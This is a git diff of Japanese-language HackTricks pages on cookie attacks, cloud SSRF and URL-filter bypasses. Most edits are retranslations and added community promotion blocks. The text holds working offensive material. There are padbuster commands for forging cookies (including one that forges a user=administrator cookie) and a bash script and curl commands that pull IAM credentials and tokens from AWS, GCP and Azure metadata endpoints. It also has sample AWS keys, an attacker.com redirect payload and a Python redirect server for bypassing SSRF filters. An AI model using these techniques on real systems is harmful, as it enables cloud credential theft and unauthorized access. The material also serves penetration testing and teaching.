この脆弱性は、クッキーをベースにしたCSRF保護に依存するWebアプリケーションにおいて特に危険であり、攻撃者が偽のCSRFトークンクッキーを注入し、セキュリティ対策を迂回する可能性があります。この問題は、Pythonが重複するクッキー名の処理によって悪化し、最後の出現が以前のものを上書きすることがあります。また、安全でないコンテキストでの`__Secure-`および`__Host-`クッキーに対する懸念を引き起こし、クッキーがスプーフィングに対して脆弱なバックエンドサーバーに渡されると認可バイパスが発生する可能性があります。
|
||||
|
||||
### 追加の脆弱なクッキーチェック
|
||||
|
||||
|
@ -196,9 +204,9 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
|
||||
- 非常に**類似したユーザー名**で多くの**アカウント**を作成し、アルゴリズムがどのように機能しているかを推測してみてください。
|
||||
- **ユーザー名をブルートフォース**してみてください。クッキーがユーザー名の認証方法としてのみ保存されている場合、ユーザー名が「**Bmin**」のアカウントを作成し、クッキーの各ビットをブルートフォースしてみてください。その中には「**admin**」に属するクッキーの1つが含まれる可能性があります。
|
||||
- **パディング** **オラクル**を試してみてください(クッキーの内容を復号化できます)。**padbuster**を使用してください。
|
||||
- **Padding Oracle**を試してみてください(クッキーの内容を復号化できます)。**padbuster**を使用してください。
|
||||
|
||||
**パディングオラクル - Padbusterの例**
|
||||
**Padding Oracle - Padbusterの例**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
|
@ -208,7 +216,7 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
|||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbusterは複数の試行を行い、どの条件がエラー条件であるか(有効ではない条件)を尋ねます。
|
||||
Padbusterは複数の試行を行い、どれがエラー条件であるか(無効な条件)を尋ねます。
|
||||
|
||||
その後、クッキーの復号化を開始します(数分かかる場合があります)。
|
||||
|
||||
|
@ -216,36 +224,43 @@ Padbusterは複数の試行を行い、どの条件がエラー条件である
|
|||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
この実行では、文字列 **user=administrator** が内部に含まれたクッキーが正しく暗号化およびエンコードされます。
|
||||
この実行では、文字列**user=administrator**が含まれたクッキーが正しく暗号化およびエンコードされます。
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
クッキーには値が含まれ、CBCを使用して署名される可能性があります。その後、値の整合性は、同じ値を使用してCBCを使用して作成された署名です。 IVとしてヌルベクトルを使用することが推奨されているため、この種の整合性チェックは脆弱になる可能性があります。
|
||||
クッキーには値が含まれ、CBCを使用して署名されている可能性があります。その後、値の整合性は、同じ値を使用してCBCを使用して作成された署名です。 IVとしてヌルベクトルを使用することが推奨されているため、この種の整合性チェックは脆弱になる可能性があります。
|
||||
|
||||
**攻撃**
|
||||
|
||||
1. ユーザー名 **administ** = **t** の署名を取得します。
|
||||
2. ユーザー名 **rator\x00\x00\x00 XOR t** = **t'** の署名を取得します。
|
||||
3. クッキーに値 **administrator+t'** を設定します(**t'** は **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** の有効な署名になります)。
|
||||
1. ユーザー名**administ**の署名を取得します = **t**
|
||||
2. ユーザー名**rator\x00\x00\x00 XOR t**の署名を取得します = **t'**
|
||||
3. クッキーに値**administrator+t'**を設定します(**t'**は**(rator\x00\x00\x00 XOR t)XOR t**の有効な署名になります = **rator\x00\x00\x00**
|
||||
|
||||
**ECB**
|
||||
|
||||
クッキーがECBを使用して暗号化されている場合、脆弱になる可能性があります。\
|
||||
ログインすると、受け取るクッキーは常に同じでなければなりません。
|
||||
|
||||
**検出方法と攻撃方法:**
|
||||
**検出および攻撃方法:**
|
||||
|
||||
ほぼ同じデータ(ユーザー名、パスワード、メールなど)を持つ2つのユーザーを作成し、与えられたクッキーの中にパターンがあるかどうかを調べてみてください。
|
||||
ほぼ同じデータ(ユーザー名、パスワード、メールなど)を持つ2つのユーザーを作成し、与えられたクッキーの中にパターンを見つけようとします
|
||||
|
||||
例えば "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" という名前のユーザーを作成し、クッキーにパターンがあるかどうかを確認します(ECBは同じ鍵でブロックごとに暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります)。
|
||||
例えば「aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa」という名前のユーザーを作成し、クッキーにパターンがあるかどうかを確認します(ECBは同じ鍵で各ブロックを暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります)。
|
||||
|
||||
パターンがあるはずです(使用されるブロックのサイズで)。したがって、一連の "a" がどのように暗号化されるかを知っている場合、"a"\*(ブロックのサイズ)+"admin" というユーザー名を作成できます。その後、クッキーからブロックの "a" の暗号化されたパターンを削除することができます。そして、ユーザー名 "admin" のクッキーを取得できます。
|
||||
パターンがあるはずです(使用されるブロックのサイズで)。したがって、一連の「a」がどのように暗号化されるかを知っている場合、ユーザー名を作成できます: "a"\*(ブロックのサイズ)+"admin"。その後、クッキーから1ブロックの「a」の暗号化されたパターンを削除できます。そして、ユーザー名「admin」のクッキーを取得できます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -1,34 +1,42 @@
|
|||
# クラウドSSRF
|
||||
# Cloud SSRF
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## AWS
|
||||
|
||||
### AWS EC2環境でのSSRFの乱用
|
||||
### AWS EC2環境でのSSRFの悪用
|
||||
|
||||
**メタデータ**エンドポイントは、EC2マシン内からアクセスでき、それに関する興味深い情報を提供します。URLは`http://169.254.169.254`でアクセスできます([メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||||
**メタデータ**エンドポイントは、任意のEC2マシンからアクセスでき、それに関する興味深い情報を提供します。URLは`http://169.254.169.254`でアクセスできます([メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||||
|
||||
メタデータエンドポイントには**2つのバージョン**があります。**最初の**バージョンでは、**GET**リクエストを介してエンドポイントにアクセスできます(つまり、**SSRFを悪用できます**)。**バージョン2**、[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**HTTPヘッダー**を送信して**PUT**リクエストで**トークン**を要求し、そのトークンを使用して別のHTTPヘッダーでメタデータにアクセスする必要があります(つまり、SSRFで悪用するのは**より複雑**です)。
|
||||
メタデータエンドポイントには**2つのバージョン**があります。**最初の**バージョンでは、**GET**リクエストを介してエンドポイントにアクセスできます(つまり、**SSRFが悪用できます**)。**バージョン2**、[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**HTTPヘッダー**を送信して**PUT**リクエストを行い、そのトークンを使用して別のHTTPヘッダーでメタデータにアクセスする必要があります(つまり、SSRFで悪用するのが**より複雑**になります)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
EC2インスタンスがIMDSv2を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUTリクエストの応答**には**ホップ制限が1**があり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることができなくなります。
|
||||
EC2インスタンスがIMDSv2を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUTリクエストの応答**には**ホップ制限が1**があり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることが不可能になります。
|
||||
|
||||
さらに、**IMDSv2**は、`X-Forwarded-For`ヘッダーを含むトークンを取得するリクエストを**ブロック**します。これは、誤って構成されたリバースプロキシがアクセスできないようにするためです。
|
||||
さらに、**IMDSv2**は、`X-Forwarded-For`ヘッダーを含むトークンを取得するリクエストを**ブロック**します。これは、誤構成されたリバースプロキシがそれにアクセスできないようにするためです。
|
||||
{% endhint %}
|
||||
|
||||
[ドキュメント](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)にメタデータエンドポイントに関する情報があります。次のスクリプトでは、それからいくつかの興味深い情報が取得されます:
|
||||
[ドキュメント](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)にメタデータエンドポイントに関する情報があります。次のスクリプトでは、それから興味深い情報が取得されます。
|
||||
```bash
|
||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||
|
@ -92,7 +100,7 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance";
|
|||
|
||||
また、公開されている**EC2セキュリティ資格情報**を確認できます: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
その後、**これらの資格情報をAWS CLIで使用**できます。これにより、そのロールに許可されている**何でも実行**できます。
|
||||
次に、**これらの資格情報をAWS CLIで使用**できます。これにより、そのロールに許可されていることを**何でも実行**できます。
|
||||
|
||||
新しい資格情報を利用するには、次のように新しいAWSプロファイルを作成する必要があります:
|
||||
```
|
||||
|
@ -101,17 +109,17 @@ aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
|||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
|
||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||
```
|
||||
**aws\_session\_token**を確認してください。このプロファイルが機能するためには必要不可欠です。
|
||||
**aws\_session\_token**を見逃さないでください。このプロファイルが機能するためには欠かせません。
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu)は、発見された資格情報を使用して特権を調査し、特権昇格を試みるために使用できます。
|
||||
|
||||
### AWS ECS(コンテナサービス)資格情報のSSRF
|
||||
|
||||
**ECS**は、自分自身のクラスタ管理インフラをスケーリングする必要がない状態でアプリケーションを実行できるEC2インスタンスの論理グループです。なぜなら、ECSがその管理を担当しているからです。**ECS**で実行されているサービスを侵害することに成功すると、**メタデータエンドポイントが変更**されます。
|
||||
**ECS**は、自分でクラスタ管理インフラをスケーリングする必要がなく、ECSがその管理を行うEC2インスタンスの論理グループです。**ECS**で実行されているサービスを侵害することに成功すると、**メタデータエンドポイントが変更**されます。
|
||||
|
||||
_**http://169.254.170.2/v2/credentials/\<GUID>**_にアクセスすると、ECSマシンの資格情報が見つかります。ただし、まずは**\<GUID>を見つける必要があります**。\<GUID>を見つけるには、マシン内の**environ**変数**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**を読む必要があります。\
|
||||
_**http://169.254.170.2/v2/credentials/\<GUID>**_にアクセスすると、ECSマシンの資格情報が見つかります。ただし、最初に**\<GUID>を見つける必要があります**。\<GUID>を見つけるには、マシン内の**environ**変数**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**を読む必要があります。\
|
||||
`file:///proc/self/environ`への**Path Traversal**を悪用してそれを読むことができるかもしれません。\
|
||||
言及されたhttpアドレスからは、**AccessKey、SecretKey、およびトークン**が取得できるはずです。
|
||||
言及されたhttpアドレスからは、**AccessKey、SecretKey、トークン**が取得できるはずです。
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
|
@ -119,7 +127,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
|||
**いくつかのケース**では、コンテナから**EC2メタデータインスタンス**にアクセスできる場合があります(以前に言及されたIMDSv2 TTL制限を確認してください)。これらのシナリオでは、コンテナからコンテナIAMロールとEC2 IAMロールの両方にアクセスできます。
|
||||
{% endhint %}
|
||||
|
||||
### AWS Lambda向けSSRF <a href="#id-6f97" id="id-6f97"></a>
|
||||
### AWS Lambda用のSSRF <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
この場合、**資格情報は環境変数に保存**されています。したがって、それらにアクセスするには**`file:///proc/self/environ`**のようなものにアクセスする必要があります。
|
||||
|
||||
|
@ -135,7 +143,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
|||
**Lambda資格情報**は**環境変数**に格納されています。したがって、Lambdaコードの**スタックトレース**が環境変数を出力する場合、アプリケーションでエラーを引き起こすことでそれらを**外部流出**させることが可能です。
|
||||
{% endhint %}
|
||||
|
||||
### AWS Elastic Beanstalk向けSSRF URL <a href="#id-6f97" id="id-6f97"></a>
|
||||
### AWS Elastic Beanstalk用のSSRF URL <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
APIから`accountId`と`region`を取得します。
|
||||
```
|
||||
|
@ -148,13 +156,13 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
|
|||
```
|
||||
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
|
||||
|
||||
次に、`aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/` を使用して資格情報を使用します。
|
||||
その後、`aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`を使用して資格情報を使用します。
|
||||
|
||||
## GCP <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
[**ここでメタデータエンドポイントに関するドキュメントを見つけることができます**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。
|
||||
|
||||
### Google CloudのSSRF URL <a href="#id-6440" id="id-6440"></a>
|
||||
### Google Cloud用のSSRF URL <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
HTTPヘッダー **`Metadata-Flavor: Google`** が必要であり、次のURLでメタデータエンドポイントにアクセスできます:
|
||||
|
||||
|
@ -267,7 +275,7 @@ gcloud config unset auth/access_token_file
|
|||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||||
```
|
||||
前の出力または以下を実行して、トークンのスコープを確認します。
|
||||
スコープのトークンを確認します(前の出力または以下を実行してください)
|
||||
```bash
|
||||
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||||
"issued_to": "101302079XXXXX",
|
||||
|
@ -290,7 +298,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
|||
|
||||
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
メタデータエンドポイントはVMと同じように機能しますが、一部のエンドポイントがありません。
|
||||
メタデータエンドポイントは、VMと同じように機能しますが、一部のエンドポイントがありません。
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
|
@ -386,7 +394,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
```
|
||||
### Azure App Service
|
||||
|
||||
**env**から`IDENTITY_HEADER`と`IDENTITY_ENDPOINT`の値を取得できます。これらの値を使用してメタデータサーバーと通信するためのトークンを取得できます。
|
||||
**env**から`IDENTITY_HEADER`と`IDENTITY_ENDPOINT`の値を取得できます。これらを使用してメタデータサーバーと通信するためのトークンを取得できます。
|
||||
|
||||
ほとんどの場合、これらのリソースのいずれかに対するトークンが必要です:
|
||||
|
||||
|
@ -492,19 +500,21 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
|
|||
# Get IAM credentials
|
||||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## パケットクラウド
|
||||
|
||||
Packetcloudのメタデータにアクセスするためのドキュメントは、以下で見つけることができます:[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
|
||||
## OpenStack/RackSpace
|
||||
|
||||
ヘッダーの必要性は言及されていません。メタデータは以下を通じてアクセスできます:
|
||||
ヘッダーの必要性については言及されていません。メタデータは以下からアクセスできます:
|
||||
|
||||
* `http://169.254.169.254/openstack`
|
||||
|
||||
## HP Helion
|
||||
|
||||
ここでもヘッダーの必要性は言及されていません。メタデータは以下でアクセス可能です:
|
||||
ここでもヘッダーの必要性については言及されていません。メタデータは以下でアクセス可能です:
|
||||
|
||||
* `http://169.254.169.254/2009-04-04/meta-data/`
|
||||
|
||||
|
|
|
@ -2,18 +2,26 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする。**
|
||||
* **ハッキングテクニックを共有するために PR を** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **の github リポジトリに提出してください。**
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見してください
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローしてください**。**
|
||||
* **ハッキングトリックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに参加してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Localhost
|
||||
```bash
|
||||
# Localhost
|
||||
|
@ -153,20 +161,20 @@ next={domain}&next=attacker.com
|
|||
```
|
||||
### パスと拡張子のバイパス
|
||||
|
||||
URLがパスまたは拡張子で終わる必要があるか、パスを含む必要がある場合は、以下のバイパスのいずれかを試すことができます:
|
||||
URLがパスまたは拡張子で終わる必要があるか、パスを含む必要がある場合、次のバイパスのいずれかを試すことができます:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||
```
|
||||
### ファジング
|
||||
### Fuzzing
|
||||
|
||||
ツール[**recollapse**](https://github.com/0xacb/recollapse)は、指定された入力から変化を生成して使用されている正規表現をバイパスしようとします。詳細については[**この投稿**](https://0xacb.com/2022/11/21/recollapse/)も参照してください。
|
||||
ツール[**recollapse**](https://github.com/0xacb/recollapse)は、与えられた入力から変化を生成して使用されている正規表現をバイパスしようとします。詳細については、[**この投稿**](https://0xacb.com/2022/11/21/recollapse/)も参照してください。
|
||||
|
||||
### リダイレクト経由のバイパス
|
||||
|
||||
サーバーがSSRFの**元のリクエストをフィルタリングしている可能性**があるが、そのリクエストへの可能な**リダイレクト**応答は**フィルタリングしていない**かもしれません。\
|
||||
たとえば、`url=https://www.google.com/`を介したSSRFに脆弱なサーバーは、**urlパラメータをフィルタリング**しているかもしれません。しかし、[pythonサーバーを使用して302で応答](https://pastebin.com/raw/ywAUhFrv)し、リダイレクトしたい場所に移動すると、127.0.0.1のような**フィルタリングされたIPアドレス**やgopherのようなフィルタリングされた**プロトコル**にアクセスできるかもしれません。\
|
||||
例えば、`url=https://www.google.com/`を介したSSRFに脆弱なサーバーは、**urlパラメータをフィルタリング**しているかもしれません。しかし、[pythonサーバーを使用して302で応答](https://pastebin.com/raw/ywAUhFrv)し、リダイレクトしたい場所にリダイレクトすると、127.0.0.1のような**フィルタリングされたIPアドレス**やgopherのようなフィルタリングされた**プロトコル**にアクセスできるかもしれません。\
|
||||
[このレポートをチェックしてください。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -188,11 +196,11 @@ self.end_headers()
|
|||
|
||||
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
```
|
||||
## 解説トリック
|
||||
## 説明されたトリック
|
||||
|
||||
### バックスラッシュトリック
|
||||
|
||||
_バックスラッシュトリック_ は、[WHATWG URL標準](https://url.spec.whatwg.org/#url-parsing) と [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) の違いを悪用します。RFC3986 はURIの一般的なフレームワークですが、WHATWG はWeb URLに特化しており、現代のブラウザで採用されています。重要な違いは、WHATWG標準がバックスラッシュ(`\`)をスラッシュ(`/`)と同等と認識している点にあり、特にURL内でホスト名からパスへの移行をマークする方法に影響を与えます。
|
||||
_バックスラッシュトリック_ は、[WHATWG URL標準](https://url.spec.whatwg.org/#url-parsing) と [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) の違いを悪用します。RFC3986 はURIの一般的なフレームワークですが、WHATWG はWeb URLに特化しており、現代のブラウザで採用されています。重要な違いは、WHATWG 標準がバックスラッシュ (`\`) をスラッシュ (`/`) と同等と認識していることで、特にURL内のホスト名からパスへの移行をマークする方法に影響を与えます。
|
||||
|
||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
|
||||
|
@ -207,16 +215,22 @@ _バックスラッシュトリック_ は、[WHATWG URL標準](https://url.spec
|
|||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
